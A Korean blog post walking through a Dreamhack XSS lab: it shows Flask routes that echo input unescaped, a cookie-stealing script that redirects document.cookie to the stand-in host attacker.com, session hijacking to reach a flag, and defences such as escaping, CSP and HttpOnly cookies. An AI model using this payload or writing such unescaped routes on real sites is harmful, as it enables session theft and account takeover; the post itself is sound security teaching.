해킹/해킹기초

웹해킹 -교차 사이트 스크립팅(XSS) 공격을 이용한 쿠키 탈취와 플래그 획득 과정

리치라이프 연구소 2025. 2. 13. 05:24
반응형

교차 사이트 스크립팅(XSS) 공격을 이용한 쿠키 탈취와 플래그 획득 과정

 

교차 사이트 스크립팅(XSS) 공격은 악성 스크립트를 웹 애플리케이션에 삽입하여,

사용자의 브라우저에서 실행되도록 유도하는 방식의 공격입니다.

이 공격을 통해 공격자는 사용자의 세션 쿠키를 탈취하거나,

웹 애플리케이션에서 중요한 정보를 유출시킬 수 있습니다.

이번 포스팅에서는 드림핵(Dreamhack)의 XSS 실습 문제를 활용하여 쿠키 탈취 공격을 진행하고, 이를 통해 플래그를 획득하는 방법을 설명합니다.

반응형

 

 

XSS 공격을 통해 할 수 있는 일

  1. 세션 하이재킹(Session Hijacking): 공격자는 사용자의 쿠키를 탈취하여 사용자의 세션을 가로챌 수 있습니다.
  2. 정보 유출: 공격자는 사용자의 입력이나 페이지에서 민감한 정보를 추출하여 서버에 전송할 수 있습니다.
  3. 악성 코드 삽입: XSS를 통해 악성 스크립트를 삽입하고, 사용자의 시스템에 피해를 줄 수 있습니다.

 

XSS의 주요 유형

  • 저장형 XSS: 서버에 악성 스크립트가 저장되어, 다른 사용자가 이를 볼 때 스크립트가 실행됩니다.
  • 반사형 XSS: 악성 스크립트가 URL에 포함되어 서버에서 처리 후 바로 반영됩니다.
  • DOM 기반 XSS: 클라이언트 측 JavaScript 코드에서 DOM을 처리하는 과정에서 취약점이 발생합니다.

 

 

드림핵(Dreamhack) XSS 실습 문제 참고

실습 문제: XSS-1

드림핵의 XSS-1 문제에서는 사용자가 입력한 param 파라미터를 그대로 출력하는 취약점이 존재합니다. 이 문제에서 공격자는 XSS를 이용해 쿠키를 탈취하는 방법을 실습할 수 있습니다.

1. /vuln 페이지

해당 페이지에서는 param 파라미터를 받아 그대로 출력합니다. 예를 들어, 사용자가 URL에 param=<script>alert('XSS')</script>를 입력하면, 해당 스크립트가 페이지에서 실행됩니다.

python
복사편집
@app.route("/vuln") def vuln(): param = request.args.get("param", "") return render_template("vuln.html", param=param)

이 코드는 입력값에 대한 필터링 없이 그대로 출력하기 때문에 XSS 공격에 취약합니다.

반응형

 

2. /memo 페이지

/memo 페이지도 마찬가지로 사용자 입력값을 검증하지 않고 출력합니다. 따라서 공격자는 이 페이지를 이용해 악성 스크립트를 삽입할 수 있습니다.

python
복사편집
@app.route("/memo") def memo(): memo_text = request.args.get("memo", "") return render_template("memo.html", memo=memo_text)

 

공격 시나리오: 쿠키 탈취

이제 XSS 공격을 이용해 쿠키를 탈취하는 과정을 단계별로 살펴보겠습니다.

1. XSS 공격을 통해 쿠키 탈취 스크립트 삽입

공격자는 /memo 페이지에 악성 JavaScript 코드를 삽입하여, 사용자의 쿠키를 탈취할 수 있습니다. 탈취된 쿠키는 공격자의 서버로 전송되어, 이후 세션 하이재킹을 할 수 있습니다.

악성 스크립트 예시:

html
복사편집
<script> document.location='http://attacker.com/capture?cookie=' + document.cookie; </script>

위 스크립트는 사용자의 쿠키 값을 **attacker.com**의 capture 페이지로 전송합니다. 공격자는 이 페이지에서 쿠키를 받아 저장하고, 이를 이용해 사용자의 세션을 가로챌 수 있습니다.

반응형

 

2. /memo 페이지에서 악성 스크립트 삽입

공격자는 /memo 페이지에 다음과 같이 악성 스크립트를 삽입하여 쿠키를 탈취합니다.

bash
복사편집
/memo?memo=<script>document.location='http://attacker.com/capture?cookie='+document.cookie</script>

이 URL을 통해 페이지가 로드되면, 사용자의 쿠키가 공격자의 서버로 전송됩니다. 공격자는 이를 통해 세션 쿠키를 탈취할 수 있습니다.

3. 쿠키 탈취 후 세션 하이재킹

세션 쿠키를 탈취한 후, 공격자는 해당 쿠키를 사용하여 사용자의 세션에 접근할 수 있습니다. 이를 통해 공격자는 사용자의 권한으로 웹 애플리케이션을 조작하거나 중요한 정보를 탈취할 수 있습니다.

4. 플래그 획득

탈취한 세션 쿠키를 이용해, 공격자는 /flag 페이지로 접근할 수 있습니다. 만약 해당 페이지가 세션 쿠키에 의존하여 플래그를 보여준다면, 공격자는 사용자의 세션을 가로챈 후 플래그를 획득할 수 있습니다.

반응형

 

쿠키 탈취 후 플래그 획득

예를 들어, 쿠키 탈취 후 사용자가 flag 페이지에 접근하면, 플래그를 포함한 페이지가 나타날 수 있습니다. 이 경우, 공격자는 사용자의 세션을 그대로 이어받아 플래그를 획득할 수 있습니다.

 

XSS 공격 방어 방법

XSS 공격을 방어하기 위해서는 다음과 같은 방법을 적용할 수 있습니다:

1. 입력값 검증 및 필터링

사용자가 입력하는 모든 데이터를 철저히 검증하고, 악성 코드나 HTML 태그가 포함되지 않도록 필터링해야 합니다.

2. 출력 시 HTML 이스케이프(escaping)

HTML 코드에서 사용자 입력을 출력할 때, HTML 이스케이프를 적용해야 합니다. 예를 들어, <script>를 &lt;script&gt;로 변환하는 방식입니다.

3. 콘텐츠 보안 정책(CSP) 설정

웹 애플리케이션에 **CSP(Content Security Policy)**를 설정하여, 외부 스크립트나 리소스의 출처를 제한하고, 악성 스크립트의 실행을 방지합니다.

4. HTTPOnly 및 Secure 플래그 설정

쿠키에 HTTPOnlySecure 플래그를 설정하여, JavaScript에서 쿠키에 접근하지 못하도록 하고, HTTPS 연결을 통해서만 쿠키가 전송되도록 합니다.

5. 웹 애플리케이션 방화벽(WAF)

웹 애플리케이션 방화벽(WAF)을 사용하여 XSS 공격을 실시간으로 탐지하고 차단할 수 있습니다.

반응형

 

결론

XSS 공격은 웹 애플리케이션 보안에서 매우 중요한 취약점입니다. 이 포스팅에서는 드림핵의 XSS 실습 문제를 이용해 쿠키 탈취 공격을 분석하고, 이를 통해 플래그를 획득하는 방법을 설명했습니다. XSS를 통해 사용자의 쿠키를 탈취하면 세션 하이재킹을 비롯한 다양한 공격이 가능하므로, 이를 방어하기 위한 철저한 보안 대책이 필요합니다.

XSS 공격을 방어하려면 입력값 검증, 출력 인코딩, CSP 설정 등 여러 보안 조치를 함께 적용하는 것이 중요합니다. 이러한 방어 전략을 실습을 통해 익히는 것은 웹 보안에 대한 깊은 이해를 돕고, 실제 환경에서 발생할 수 있는 공격을 사전에 차단하는 데 큰 도움이 됩니다.

 

 

#XSS #크로스사이트스크립팅 #쿠키탈취 #웹해킹 #Dreamhack #웹보안 #보안취약점 #JavaScript취약점 #HTML인젝션 #웹보안공격 #XSS공격예제 #웹보안실습

반응형